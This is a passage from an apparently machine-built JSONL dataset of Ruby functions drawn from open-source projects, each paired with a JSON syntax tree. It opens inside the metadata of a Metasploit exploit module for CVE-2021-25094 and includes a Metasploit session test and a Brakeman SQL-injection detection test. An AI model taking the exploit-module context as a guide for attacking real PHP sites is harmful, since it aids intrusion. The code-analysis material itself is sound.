Michel\"]},{\"type\":\"str\",\"children\":[\"msutovsky-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-25094\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"52260\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-04-25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]}]}","id":"7c899f46-9f09-4d2e-8506-ded7598110ef"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":950,"raw_source":"def test_eager_with_default_scope_as_lambda\n    developer = EagerDeveloperWithLambdaDefaultScope.where(name: \"David\").first\n    projects = Project.order(:id).to_a\n    assert_no_queries do\n      assert_equal(projects, developer.projects)\n    end\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_with_default_scope_as_lambda\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EagerDeveloperWithLambdaDefaultScope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"projects\"]}]}]}]}]}","id":"2d73a669-8d6d-4c53-a475-76e3c667db8c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":867,"raw_source":"def validate_search_rate_limit!\n      if current_user\n        check_rate_limit!(:search_rate_limit, scope: [current_user])\n      else\n        check_rate_limit!(:search_rate_limit_unauthenticated, scope: [ip_address])\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_search_rate_limit!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"check_rate_limit!\",{\"type\":\"sym\",\"children\":[\"search_rate_limit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_rate_limit!\",{\"type\":\"sym\",\"children\":[\"search_rate_limit_unauthenticated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_address\"]}]}]}]}]}]}]}","id":"42a65adb-3ee6-41fb-958e-1784adc9b38c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tag_helper.rb","start_line":58,"raw_source":"def self.define_void_element(name, code_generator:, method_name: name)\n          code_generator.class_eval do |batch|\n            batch << \"\\n\" <<\n              \"def #{method_name}(escape: true, **options, &block)\" <<\n              \"  self_closing_tag_string(#{name.inspect}, options, escape, '>')\" <<\n              \"end\"\n          end\n        end","complexity_score":13.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"define_void_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"code_generator\"]},{\"type\":\"kwoptarg\",\"children\":[\"method_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_generator\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"def \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"str\",\"children\":[\"(escape: true, **options, &block)\"]}]}]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  self_closing_tag_string(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\", options, escape, '>')\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"end\"]}]}]}]}","id":"97a78cbc-8f4c-4fcb-b471-26978ada7e89"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_volume_backup.rb","start_line":41,"raw_source":"def raw_restore(*)\n    raise NotImplementedError, _(\"raw_restore must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_restore\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_restore must be implemented in a subclass\"]}]}]}]}","id":"69c2cbec-8f92-4303-bc25-9bf86f417d3f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":279,"raw_source":"def test_unbounded_tstzrange\n    assert_equal_round_trip @first_range, :tstz_range, Time.parse(\"2010-01-01 14:30:00 CDT\")...nil\n    assert_equal_round_trip @first_range, :tstz_range, nil..Time.parse(\"2010-01-01 14:30:00 CDT\")\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unbounded_tstzrange\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal_round_trip\",{\"type\":\"ivar\",\"children\":[\"@first_range\"]},{\"type\":\"sym\",\"children\":[\"tstz_range\"]},{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2010-01-01 14:30:00 CDT\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal_round_trip\",{\"type\":\"ivar\",\"children\":[\"@first_range\"]},{\"type\":\"sym\",\"children\":[\"tstz_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"str\",\"children\":[\"2010-01-01 14:30:00 CDT\"]}]}]}]}]}]}","id":"bbf49565-bfbb-42f2-a40f-d063effd88f7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/custom_styles_helper.rb","start_line":39,"raw_source":"def design_tabs\n    [\n      {\n        name: \"interface\",\n        partial: \"custom_styles/interface\",\n        path: custom_style_path(tab: :interface),\n        label: t(:\"admin.custom_styles.tab_interface\")\n      },\n      {\n        name: \"branding\",\n        partial: \"custom_styles/branding\",\n        path: custom_style_path(tab: :branding),\n        label: t(:\"admin.custom_styles.tab_branding\")\n      },\n      {\n        name: \"pdf_export_styles\",\n        partial: \"custom_styles/pdf_export_styles\",\n        path: custom_style_path(tab: :pdf_export_styles),\n        label: t(:\"admin.custom_styles.tab_pdf_export_styles\"),\n        pdf: true\n      },\n      {\n        name: \"pdf_export_font\",\n        partial: \"custom_styles/pdf_export_font\",\n        path: custom_style_path(tab: :pdf_export_font),\n        label: t(:\"admin.custom_styles.tab_pdf_export_font\"),\n        pdf: true\n      }\n    ]\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"design_tabs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"interface\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"custom_styles/interface\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"custom_style_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"interface\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"admin.custom_styles.tab_interface\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"branding\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"custom_styles/branding\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"custom_style_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"branding\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"admin.custom_styles.tab_branding\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"pdf_export_styles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"custom_styles/pdf_export_styles\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"custom_style_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"pdf_export_styles\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"admin.custom_styles.tab_pdf_export_styles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pdf\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"pdf_export_font\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"custom_styles/pdf_export_font\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"custom_style_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"pdf_export_font\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"admin.custom_styles.tab_pdf_export_font\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pdf\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"79ccf7bc-1c1d-4c76-b292-5f991f3a1725"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/post/test/cmd_exec.rb","start_line":190,"raw_source":"def test_cmd_exec_stderr\n    vprint_status(\"Starting cmd_exec stderr tests\")\n\n    it \"should return the stderr output\" do\n      test_string = Rex::Text.rand_text_alpha(4)\n      if session.platform.eql? 'windows'\n        # TODO: Fix this functionality\n        if session.type.eql?('shell') || session.arch.eql?(\"php\") || session.type.eql?(\"powershell\")\n          vprint_status(\"test skipped for Windows CMD, Powershell and PHP - functionality not correct\")\n          true\n        else\n          output = cmd_exec(\"cmd.exe\", \"/c echo #{test_string} 1>&2\")\n          output.rstrip == test_string\n        end\n      else\n        output = cmd_exec(\"echo #{test_string} 1>&2\")\n        output == test_string\n      end\n    end\n  end","complexity_score":42.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cmd_exec_stderr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Starting cmd_exec stderr tests\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"should return the stderr output\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"shell\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"arch\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"powershell\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"test skipped for Windows CMD, Powershell and PHP - functionality not correct\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"cmd.exe\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_string\"]}]},{\"type\":\"str\",\"children\":[\" 1>&2\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"rstrip\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"test_string\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_string\"]}]},{\"type\":\"str\",\"children\":[\" 1>&2\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"test_string\"]}]}]}]}]}]}]}]}","id":"2d6aca92-5311-4f0a-ac19-6137c8453b63"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/users/profile/attributes_component.rb","start_line":48,"raw_source":"def visible_custom_fields\n        @user\n          .visible_custom_field_values\n          .select { |cv| cv.value.present? }\n          .group_by(&:custom_field)\n          .keys\n          .sort_by(&:name)\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visible_custom_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"visible_custom_field_values\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cv\"]},\"value\"]},\"present?\"]}]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_field\"]}]}]},\"keys\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"a207d59a-b18b-4426-8049-d1cfde35db91"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails2.rb","start_line":692,"raw_source":"def test_sql_injection_active_record_base_connection\n    assert_warning :type => :warning,\n      :warning_code => 0,\n      :fingerprint => \"4918bccd67257c7f691718b4bb10bbbf176bc4bd3ad80cce9df11032cc73515d\",\n      :warning_type => \"SQL Injection\",\n      :line => 31,\n      :message => /^Possible\\ SQL\\ injection/,\n      :confidence => 1,\n      :relative_path => \"app/models/user.rb\",\n      :user_input => s(:lvar, :value)\n  end","complexity_score":2.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_active_record_base_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"4918bccd67257c7f691718b4bb10bbbf176bc4bd3ad80cce9df11032cc73515d\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"value\"]}]}]}]}]}]}","id":"9a3c85f8-d04c-40f8-9b58-f2fb80335b3a"}
{"repo_name":"spree","file_path":"./repos/spree/core/db/migrate/20240303174340_fix_spree_stock_item_unique_index.rb","start_line":2,"raw_source":"def change\n    remove_index :spree_stock_items, name: 'stock_item_by_loc_var_id_deleted_at' if index_exists?(:spree_stock_items, [:stock_location_id, :variant_id], name: 'stock_item_by_loc_var_id_deleted_at')\n\n    unless index_exists?(:spree_stock_items, ['variant_id', 'stock_location_id'], name: 'index_spree_stock_items_unique_without_deleted_at')\n      # MySQL doesn't support partial indexes\n      if ActiveRecord::Base.connection.adapter_name == 'Mysql2'\n        reversible do |dir|\n          dir.up do\n            execute <<-SQL\n              CREATE UNIQUE INDEX index_spree_stock_items_unique_without_deleted_at\n              ON spree_stock_items(\n                stock_location_id,\n                variant_id,\n                (COALESCE(deleted_at, CAST('1970-01-01' AS DATETIME)))\n              );\n            SQL\n          end\n\n          dir.down do\n            remove_index :spree_stock_items, name: :index_spree_stock_items_unique_without_deleted_at\n          end\n        end\n      else\n        add_index(\n          :spree_stock_items,\n          ['variant_id', 'stock_location_id'],\n          name: 'index_spree_stock_items_unique_without_deleted_at',\n          unique: true,\n          where: 'deleted_at IS NULL',\n        )\n      end\n    end\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"spree_stock_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"stock_location_id\"]},{\"type\":\"sym\",\"children\":[\"variant_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"stock_item_by_loc_var_id_deleted_at\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"spree_stock_items\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"stock_item_by_loc_var_id_deleted_at\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"spree_stock_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"variant_id\"]},{\"type\":\"str\",\"children\":[\"stock_location_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_spree_stock_items_unique_without_deleted_at\"]}]}]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"adapter_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"Mysql2\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reversible\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"up\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"              CREATE UNIQUE INDEX index_spree_stock_items_unique_without_deleted_at\\n\"]},{\"type\":\"str\",\"children\":[\"              ON spree_stock_items(\\n\"]},{\"type\":\"str\",\"children\":[\"                stock_location_id,\\n\"]},{\"type\":\"str\",\"children\":[\"                variant_id,\\n\"]},{\"type\":\"str\",\"children\":[\"                (COALESCE(deleted_at, CAST('1970-01-01' AS DATETIME)))\\n\"]},{\"type\":\"str\",\"children\":[\"              );\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir\"]},\"down\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"spree_stock_items\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_spree_stock_items_unique_without_deleted_at\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"spree_stock_items\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"variant_id\"]},{\"type\":\"str\",\"children\":[\"stock_location_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_spree_stock_items_unique_without_deleted_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"deleted_at IS NULL\"]}]}]}]}]}]}]}]}","id":"d6ffea67-166b-446e-a42d-ce8c7d44e868"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/referenced_merge_requests_service.rb","start_line":34,"raw_source":"def closed_by_merge_requests(issue)\n      return [] unless issue.open?\n\n      merge_requests = extract_merge_requests(issue, filter: :system).select(&:open?)\n\n      return [] if merge_requests.empty?\n\n      ids = MergeRequestsClosingIssues.where(\n        merge_request_id: merge_requests.map(&:id),\n        issue_id: issue.id\n      ).pluck(:merge_request_id)\n      merge_requests.select { |mr| mr.id.in?(ids) }\n    end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"closed_by_merge_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"open?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"merge_requests\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_merge_requests\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"sym\",\"children\":[\"system\"]}]}]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"open?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\"